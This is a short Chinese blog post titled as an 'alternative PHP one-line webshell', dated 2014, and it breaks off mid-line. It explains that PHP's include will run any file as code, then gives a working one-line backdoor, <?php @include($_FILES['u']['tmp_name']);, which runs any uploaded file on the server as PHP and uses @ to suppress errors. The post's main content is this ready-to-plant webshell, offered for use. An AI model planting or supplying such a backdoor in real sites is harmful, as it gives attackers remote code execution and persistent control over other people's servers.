另类PHP一句话小马

admin 发布于 2014-11-08 10:25
利用了include可以把任何文件当php来解释的特性, 当我们上传一个文件的时候,会在服务器上生成一个临时文件,而$_FILES这个变量里面正好保存了这个文件的路径,所以可以直接include进来。 <?php @include($_FILES['u']['tmp_name']); <?php @include($_FILES['u...
    1 2